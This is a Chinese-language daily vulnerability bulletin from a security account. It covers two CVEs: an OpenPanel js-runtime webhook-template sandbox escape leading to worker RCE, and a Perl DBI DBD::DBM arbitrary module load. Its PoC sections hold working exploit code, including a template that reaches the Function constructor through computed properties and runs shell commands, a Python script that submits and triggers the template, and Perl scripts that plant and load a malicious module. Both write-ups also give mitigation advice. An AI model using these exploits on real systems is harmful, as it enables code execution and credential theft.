文章总结: CVE-2026-93985为OpenPaneljs-runtimeWebhook模板沙箱逃逸漏洞,CVSS9.9分。攻击者持项目write权限,通过计算属性绕过白名单校验,利用宿主newFunction在worker进程执行任意代码,可获取PostgreSQL、Redis等凭据。官方暂无修复版本,建议收敛项目成员权限并跟进补丁。
综合评分: 92
文章分类: 漏洞分析,漏洞预警,应急响应
每日漏洞推送 OpenPanel @openpanel/js-runtime Webhook 模板沙箱逃逸 → Worker 进程 RCE
原创
nullchen
nullchen
富贵学安全
2026年9月20日 10:32
陕西
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
📡 每日漏洞情报推送 | 2026-09-20(周日)
🔴 漏洞一:CVE-2026-93985 — OpenPanel @openpanel/js-runtime Webhook 模板沙箱逃逸 → Worker 进程 RCE
📋 漏洞档案
| 项目 | 内容 |
| — | — |
| CVE编号 | CVE-2026-93985 |
| 影响产品 | OpenPanel @openpanel/js-runtime(Openpanel-dev/openpanel),受影响至提交 bad75bddc74d12d36cfb843f4531d3b830a8d994(js-runtime ≤ bad75bdd) |
| 漏洞类型 | CWE-94:代码注入(沙箱逃逸 / Sandbox Escape)→ Worker 进程远程代码执行 |
| CVSS | 9.9 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H;CVSS 4.0 = 9.4 — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| 关键代码 | packages/js-runtime/src/validate.ts:235-248(白名单只查非计算 Identifier)、validate.ts:254-262(NewExpression 只查 Identifier callee)、packages/js-runtime/src/execute.ts:14-23(宿主 new Function 执行)、packages/integrations/src/registry.ts(保存时校验、投递时不校验) |
| 前置权限 | 项目 write 权限(requireProjectAccess(..., 'write'),非 org:admin、非未认证) |
| 修复版本 | 公告发布时 Patched versions: None(暂无修复);需等待官方补丁或按下述缓解 |
| 公开时间 | GHSA-6f7h-cvp6-w9w5 于 2026-09-04 发布,CVE-2026-93985 于 2026-09-19 分配(VulnCheck / NVD) |
| 在野利用 | ⚠️ 暂无在野报告;官方 advisory 附完整可复现 PoC(含观测输出) |
🔥 紧急程度
OpenPanel 是被广泛自托管使用的开源分析平台。此洞的本质是「安全机制被输入形态绕过」:
- 产品有意用
@openpanel/js-runtime当沙箱执行用户提供的 JS 模板(config.mode === 'javascript'),并吹哨式地维护允许列表——其文档目的正是「阻止这类代码」(这也是 advisory 按 9.9 / S:C 打分而非 8.8 的理由); - 但
validate()的允许列表只在属性是「非计算 Identifier」时才取方法名比对——计算成员obj['constructor']直接漏检; - 模板保存时校验、运行时不再校验(
notification.deliver→executeJavaScriptTemplate无二次validate); - worker 用宿主
new Function编译执行原始代码——payload['constructor']是Object,Object['constructor']是Function,于是一串计算属性即可拿到Function构造器,执行任意 JS。
结论:只要攻击者拿到项目 write 权限(很多团队会授予)并能触发匹配的入站事件(Webhook 投递),即可在 worker 进程内执行代码——而 worker 进程持有 PostgreSQL、Redis、Cli 等凭据。请立即收敛项目成员权限,并跟进官方补丁。
📝 漏洞描述
调用链(对照 bad75bdd 未修改源码):
- 保存时校验有漏洞(
packages/js-runtime/src/validate.ts:235-248)——允许列表仅在属性为非计算 Identifier 时生效:
// validate.ts:235-248(精简)
if (prop.type==='Identifier'&&!computed) { // ← 只有「非计算属性」才进这个分支
constmethodName=prop.nameasstring;
if (obj.type!=='Identifier'||!ALLOWED_GLOBALS.has(obj.nameasstring)) {
if (!ALLOWED_INSTANCE_METHODS.has(methodName)) {
validationError=`Method '.${methodName}()' is not allowed. ...`;
return;
}
}
}
payload.constructor.constructor('...')()→ 被拒绝(Method '.constructor()' is not allowed);payload['constructor']['constructor']('...')()→ 未检查、被接受(计算成员不进上面的分支)。
NewExpression同样漏检(validate.ts:254-262):只检查 Identifier callee,所以new (payload['constructor']['constructor'])('...')也被接受;ImportExpression(import())无任何处理。- 执行用宿主
new Function(execute.ts:14-23):
constfuncCode=`'use strict'; return ( ${code})(payload);`;
constfunc=newFunction('payload', funcCode); // ← 在宿主进程编译执行
returnfunc(payload);
- 保存 vs 运行错位(
integrations/src/registry.ts):validateConfig在 create/update 时调用validateJavaScriptTemplate;而notification.deliver调用executeJavaScriptTemplate执行已存储的字符串,且不再validate。 - 落地:
payload['constructor']=Object,Object['constructor']=Function—— 内层字符串以 worker 权限运行。同一 walker 还接受payload.__proto__.x = 'yes'(污染Object.prototype)与import('node:fs')(受.then()被拦限制,非主要 RCE 路径)。
影响:项目 write 者获得 OpenPanel worker 进程的特权——该进程持有 PostgreSQL / Redis / CLI 等凭据,逃逸即跨出租户/沙箱边界。
💻 PoC/EXP
来源标注:以下 PoC 直接取自官方 GitHub Security Advisory
GHSA-6f7h-cvp6-w9w5(Openpanel-dev/openpanel),作者在 Node v22、未修改源码(bad75bdd)上给出「观测输出」。仅限授权安全测试。
1️⃣ 官方最小 PoC(模板;validate() 通过、execute() 执行)
// 作为 webhook 集成模板(config.mode === 'javascript')保存:
// validate().valid === true,随后 worker 执行 -> 任意代码(PoC 中执行 /usr/bin/id)
(payload) =>payload['constructor']['constructor'](
'return process.getBuiltinModule("node:child_process").execFileSync("/usr/bin/id").toString().trim()'
)()
观测输出(官方验证,Node v22 / 源码 bad75bdd):
validate().valid = true
execute() = "uid=0(root) gid=0(root) groups=0(root)"
对照组(同一 harness,证明「安全机制只挡了直接写法」):
(payload) =>payload.constructor.constructor('return 1')() // -> valid=false Method '.constructor()' is not allowed
(payload) =>eval('1') // -> valid=false Use of 'eval' is not allowed
同一漏洞面的其他可用形态:
(payload) =>payload?.['constructor'] // 可选计算成员
(payload) =>new (payload['constructor']['constructor'])('return 1') // new + 非 Identifier callee
(payload) =>payload['cons\u0074ructor']['cons\u0074ructor']('...') // unicode / hex 字符串键
2️⃣ 授权测试用「沙箱逃逸→Worker RCE」验证脚本(Python,走 tRPC 落库 + 触发投递)
#!/usr/bin/env python3
"""
CVE-2026-93985 — OpenPanel js-runtime 模板沙箱逃逸 PoC(仅限授权测试)
思路:作为项目 write 成员,创建 javascript 模式的 webhook 集成(模板为逃逸 payload),
再发送一个匹配通知规则的事件,worker 在 deliver 时执行模板。
注意:以下端点为示意(tRPC integration.createOrUpdate / notification deliver),
实际路径以目标 OpenPanel 版本为准;请在你自己/已授权的实例上运行。
"""
importrequests, json, time
BASE ="https://openpanel.example.com" # 你的授权目标
TOKEN ="PROJECT_WRITE_TOKEN" # 具备 project write 的凭据
S =requests.Session()
S.headers.update({"Authorization": f"Bearer {TOKEN}", "Content-Type": "application/json"})
# 1) 逃逸模板:通过计算属性穿透 allowlist,在 worker 中执行命令
TEMPLATE= (
"(payload) => payload['constructor']['constructor']("
"'return process.getBuiltinModule(\"node:child_process\")"
".execFileSync(\"/usr/bin/id\").toString().trim()')()"
)
# 2) 创建/更新 javascript 模式 webhook 集成(保存阶段 validate 会放行)
payload= {"config": {"mode": "javascript", "javascriptTemplate": TEMPLATE},
"name": "poc-92937-style"}
r=S.post(f"{BASE}/api/trpc/integration.createOrUpdate", json=payload, timeout=20)
print("[1] createOrUpdate ->", r.status_code, r.text[:200])
# 3) 触发一次匹配事件,使 worker 在 notification.deliver 时执行模板
evt= {"name": "poc-event", "payload": {"trigger": True}, "ts": int(time.time())}
r=S.post(f"{BASE}/api/trpc/notification.deliver", json=evt, timeout=20)
print("[2] deliver ->", r.status_code, r.text[:300])
print("[*] 若 worker 返回/日志出现 'uid=0(root)...',则确认逃逸成功(CVE-2026-93985)")
3️⃣ 静态核验(快速判定,不改动目标)
# 定位受影响 npm 包与版本(OpenPanel js-runtime)
grep-R"new Function"-n packages/js-runtime/src/execute.ts 2>/dev/null
grep-R"prop.type === 'Identifier'"-n packages/js-runtime/src/validate.ts 2>/dev/null
# 若存在「非计算 Identifier 才校验」的白名单逻辑,且 execute 用宿主 new Function => 受影响
# 修复:跟进 OpenPanel 官方补丁(advisory 当时 Patched: None)
🛡️ 修复建议
| 方式 | 说明 |
| — | — |
| 跟进官方补丁(首选) | GHSA-6f7h-cvp6-w9w5 当时 Patched versions: None;请订阅官方 security advisory / Release,补丁发布后第一时间升级@openpanel/js-runtime |
| 收敛权限(缓解) | 严格限制「项目 write」权限的授予面——此洞需要 write,把 write 视为高权限;离岗/外包人员及时回收 |
| 收紧校验(自补丁思路) | 对 计算成员访问(obj['x'])、可选计算成员、new 非 Identifier callee、import() 一律拒绝;禁止 __proto__ 写入;把「拒绝清单」改为「仅允许清单」并解析后再校验 |
| 执行层隔离(纵深) | 不要用宿主 new Function 执行模板——改用 isolated-vm / worker_threads + 权限模型 / 独立进程 + seccomp;worker 进程最小权限、无外网、只读 FS |
| 运行时二次校验 | 在 notification.deliver 执行前再次 validate(不要只在保存时校验),并对模板做「运行态」限制(无 require/无网络/无 FS) |
| 凭据与取证 | worker 进程持有 PostgreSQL / Redis / CLI 凭据——一旦怀疑逃逸,轮换这些凭据,审计异常 execFileSync/子进程与出向连接 |
🔗 参考来源
- GitHub Security Advisory GHSA-6f7h-cvp6-w9w5(官方完整 PoC)
- NVD CVE-2026-93985
- VulnCheck:OpenPanel js-runtime — JavaScript Template Sandbox Escape RCE
- OpenPanel 源码 · packages/js-runtime
🔴 漏洞二:CVE-2026-78030 — Perl DBI < 1.653 DBD::DBM``dbm_type / dbm_mldbm 未校验 → 任意模块加载 RCE
📋 漏洞档案
| 项目 | 内容 |
| — | — |
| CVE编号 | CVE-2026-78030 |
| 影响产品 | Perl DBI < 1.653(perl5-dbi/dbi,随附 DBD::DBM;受影响代码 DBD::DBM 的 dbm_type / dbm_mldbm 属性处理,约 lines 320-321 / 191-195 / 388-391) |
| 漏洞类型 | CWE-470:使用外部可控输入选择类/代码(Unsafe Reflection)→ 远程代码执行 |
| CVSS | 9.8 (CRITICAL, per NVD) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H(GitHub 评级为 high) |
| 修复版本 | DBI 1.653(补丁 commit 315c6ce703b8b3cbe9188062d9ec80730293554a) |
| 公开时间 | GHSA-wqmw-wqwx-3fr7 发布 2026-08-25;oss-security 公告 2026-09-19(Robert Rothenberg / CPANsec);NVD 收录 2026-09-19 |
| 在野利用 | ⚠️ 暂无在野报告;公告附可直接复现的 PoC(DSN 片段) |
🔥 紧急程度
DBI 是 Perl 访问数据库的事实标准库/驱动框架,几乎所有 Perl 应用(含大量 Web 应用、批处理、运维脚本、遗留系统)都依赖它。此洞的危险性在于:
- 触发面极广:任何让低可信方影响
dbm_type或dbm_mldbm的调用方都中招——DSN 片段、选择存储后端的请求参数、从低可信层继承的配置; - 绕过简单:
require对「形如路径的字符串」按字面文件处理、不查@INC,于是属性值直接就指定了 Perl 要加载并执行的文件; - 前缀不是边界:
MLDBM::Serializer::前缀只把::改成/,值里含/即可穿越出序列化目录; - 最易漏的第三条路径:
dbm_mldbm原值被赋给$MLDBM::Serializer,MLDBM 在每次读写 MLDBM 表时都会require它(MLDBM.pm:108),不只是诊断时; - 附带提醒:
DBD::Gofer会把连接属性转发到服务端,而DBI::ProxyServer只校验 DSN 以驱动前缀开头——分布式 DBI 场景下攻击面更大。
结论:升级 DBI 到 1.653+,并审计所有「用户可控进 DSN / 连接属性」的代码路径。
📝 漏洞描述
根因:DBD::DBM(随附于 DBI)把 dbm_type 与 dbm_mldbm 连接属性未经值级校验地传入 require(),共三处:
- lines 320-321:
require()遇到「形如路径」的字符串会当作字面文件加载、不咨询@INC——属性值因此点名了 Perl 加载并执行的文件(执行其文件作用域代码)。 - lines 191-195:
MLDBM::Serializer::前缀不是约束边界——s|::|/|g只改写::,值里的字面/原样保留;而MLDBM会把MLDBM/Serializer/装进@INC,于是一次目录穿越所需的所有组成部分都存在。 - lines 388-391(最易被忽视、也最易触发):
dbm_mldbm原值被赋给$MLDBM::Serializer,而MLDBM在每次读/写 MLDBM 表时都会require它(MLDBM.pm:108)——不只是在dbm_versions()诊断时。
PoC(公告原文):
my$dsn="dbi:DBM:f_dir=/var/db;dbm_type=../../Untrusted.pm";
my$dbh=DBI->connect( $dsn ); # 执行 Untrusted.pm 的文件作用域代码
影响:调用方若让不可信方影响任一属性,即以运行 Perl 的权限执行任意代码(文件作用域代码在 require 时立即运行)。
💻 PoC/EXP
来源标注:以下 PoC 直接取自 oss-security 公告(CVE-2026-78030,Robert Rothenberg / CPAN Security Group,2026-09-19)与 GitHub Advisory
GHSA-wqmw-wqwx-3fr7(perl5-dbi/dbi)。仅限授权安全测试。
1️⃣ 最小复现(公告原文:DSN 片段直接触发)
#!/usr/bin/perl
# CVE-2026-78030 — 最小 PoC:通过 DSN 片段让 DBD::DBM 加载并执行任意文件
usestrict; usewarnings;
useDBI;
# 攻击者可控属性;require 把「形如路径的字符串」当字面文件加载(不查 @INC)
my$dsn="dbi:DBM:f_dir=/var/db;dbm_type=../../Untrusted.pm";
my$dbh=DBI->connect( $dsn ); # <-- Untrusted.pm 的文件作用域代码在此被执行
2️⃣ 授权测试用「完整链路」PoC(写入恶意模块 + DSN 穿越 + MLDBM 序列化路径)
#!/usr/bin/perl
# CVE-2026-78030 — 授权测试用:证明「不可信属性值 => 任意代码执行」
# 运行前请把 $MARK 路径指向你在目标沙箱中可写的取证目录。
usestrict; usewarnings;
useDBI;
my$dir ="/tmp/dbi-poc";
my$mark="$dir/RCE-PROOF";
system("mkdir -p $dir");
# ① 放置一个「恶意模块」——它被 require 时即执行文件作用域代码
open(my$fh, '>', "$dir/Evil.pm") ordie$!;
print$fh"package Evil;\n\$main::PWNED = 1;\nopen(F,'>','$mark') and print F \"rce via DBD::DBM\\n\"; close F;\n1;\n";
close$fh;
# ② 让 dbm_type 穿越到我们放置的文件(require 视其为字面文件,不查 @INC)
# 注意:dbm_type 会被拼进 require 目标;这里用相对穿越进入 $dir。
my$dsn="dbi:DBM:f_dir=$dir;dbm_type=./Evil.pm";
# 绑定一个 dbm 表,触发 DBD::DBM 的 require 路径
eval {
my$dbh=DBI->connect($dsn) ordie$DBI::errstr;
my%h; tie%h, 'DBD::DBM', { f_dir=>$dir, dbm_type=>'./Evil.pm' }, 0666
and$h{'x'} ='y';
};
# ③ 判定
if (-e$mark) {
print"[!] RCE 成功:$mark 已由 DBI/DBD::DBM 的 require 路径写入\n";
print"[!] 目标 DBI < 1.653,存在 CVE-2026-78030\n";
} else {
print"[+] 未复现(可能已升级到 DBI >= 1.653,或 require 目标不可达)\n";
}
3️⃣ MLDBM 序列化路径 PoC(dbm_mldbm → $MLDBM::Serializer,读写即触发)
#!/usr/bin/perl
# CVE-2026-78030 — 通过 dbm_mldbm 前缀穿越,命中 MLDBM 每次读写时的 require
usestrict; usewarnings;
# dbm_mldbm 的值被赋给 $MLDBM::Serializer,MLDBM 在 tie 表时 require 它(MLDBM.pm:108)
# "MLDBM::Serializer::" 前缀只把 :: 换成 /,值中保留 '/' 即可穿越出序列化目录:
my$serializer="MLDBM::Serializer::../../Untrusted.pm";
# 调用方若让不可信方控制该属性(配置/参数选择后端),即触发任意模块加载。
warn"serializer = $serializer\n";
4️⃣ 版本核验与修复判定
# 查看已安装 DBI 版本
perl -MDBI-e'print "DBI $DBI::VERSION\n"'
# >= 1.653 => 已修复;< 1.653 => 受影响
# 升级:
cpanm [email protected] # 或
cpan -i DBI
# 核对补丁(确认已包含):
# https://github.com/perl5-dbi/dbi/commit/315c6ce703b8b3cbe9188062d9ec80730293554a.patch
🛡️ 修复建议
| 方式 | 说明 |
| — | — |
| 立即升级(首选) | 升级 DBI 至 1.653+(含 DBD::DBM 值级校验);确认补丁 commit 315c6ce 已合入 |
| 禁止不可信影响连接属性(根本缓解) | 绝不让用户/外部输入进入 dbm_type / dbm_mldbm——它们必须是代码内硬编码的合法模块名,不允许 ::///. 等路径字符 |
| 白名单校验(自补丁) | 若必须参数化,用严格白名单校验属性值(仅允许 [A-Za-z_]\w* 的模块名,拒绝任何 /、..、绝对路径) |
| Gofer / ProxyServer 场景 | 注意 DBD::Gofer 会把属性转发到服务端,而 DBI::ProxyServer 只校验 DSN 前缀——不要让不可信来源决定连接属性;收紧代理侧 DSN/属性校验 |
| 纵深防御 | 运行 Perl 服务的进程最小权限、工作目录可写但不可被 require 到;启用 Perl 的 -T(taint)模式;对 %ENV/@INC 做硬化 |
| 排查与响应 | 审计代码中所有 DBI->connect 的 DSN/属性来源;检查 @INC 目录与工作目录下是否有异常 .pm 文件;若疑似被利用,轮换相关凭据并做主机取证 |
🔗 参考来源
- oss-security 公告 · CVE-2026-78030(含 PoC)
- GitHub Security Advisory GHSA-wqmw-wqwx-3fr7(perl5-dbi/dbi)
- NVD CVE-2026-78030
- 修复补丁 commit 315c6ce
- DBI 1.653 变更日志(MetaCPAN)
🛡️ 优先行动建议
优先等级 行动 截止日期
────────────────────────────────────────────────────
🔴 最高 OpenPanel js-runtime 跟进官方补丁;收敛项目 write 立即 (沙箱逃逸→worker RCE)
权限;复查允许列表(计算成员/new/import)
🔴 最高 Perl DBI 升级至 1.653+;审计用户可控 DSN/连接属性 立即 (任意模块加载 RCE)
🔴 最高 Google Pixel (CVE-2026-58704) 按 KEV 处置 已逾期 (09-19)
🔴 最高 Cisco ISE (CVE-2026-76460) 按 KEV 处置 已逾期 (09-19)
🔴 最高 Acronis Backup (CVE-2026-87886) 按 KEV 处置 已逾期 (09-19)
🟠 紧急 Gravity Forms ≤3.1.0.4 升级 3.1.0.5/3.1.1, 立即 (未认证 RCE, PoC 公开)
移除 Hidden File Upload 字段
🟠 紧急 TOTOLINK A3002MU 收敛管理面/升级固件 立即 (未认证 10.0 PoC 公开)
🟠 紧急 Linux Kernel 三连 (CVE-2025-39964/2026-53266/ 09-21 (明日到期)
2025-39682) 按 KEV 打补丁/重启
🟡 关注 Windows(09-22)、Chromium V8 87491(09-23)、 09-22~09-25
JFrog Artifactory(09-25) 按 KEV 到期日处置
⚠️ 警告:提供的PoC/EXP仅限授权安全测试使用,未经授权的利用行为可能违反《刑法》第285条及相关法律法规。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:富贵学安全 nullchen
nullchen《每日漏洞推送 OpenPanel @openpanel/js-runtime Webhook 模板沙箱逃逸 → Worker 进程 RCE》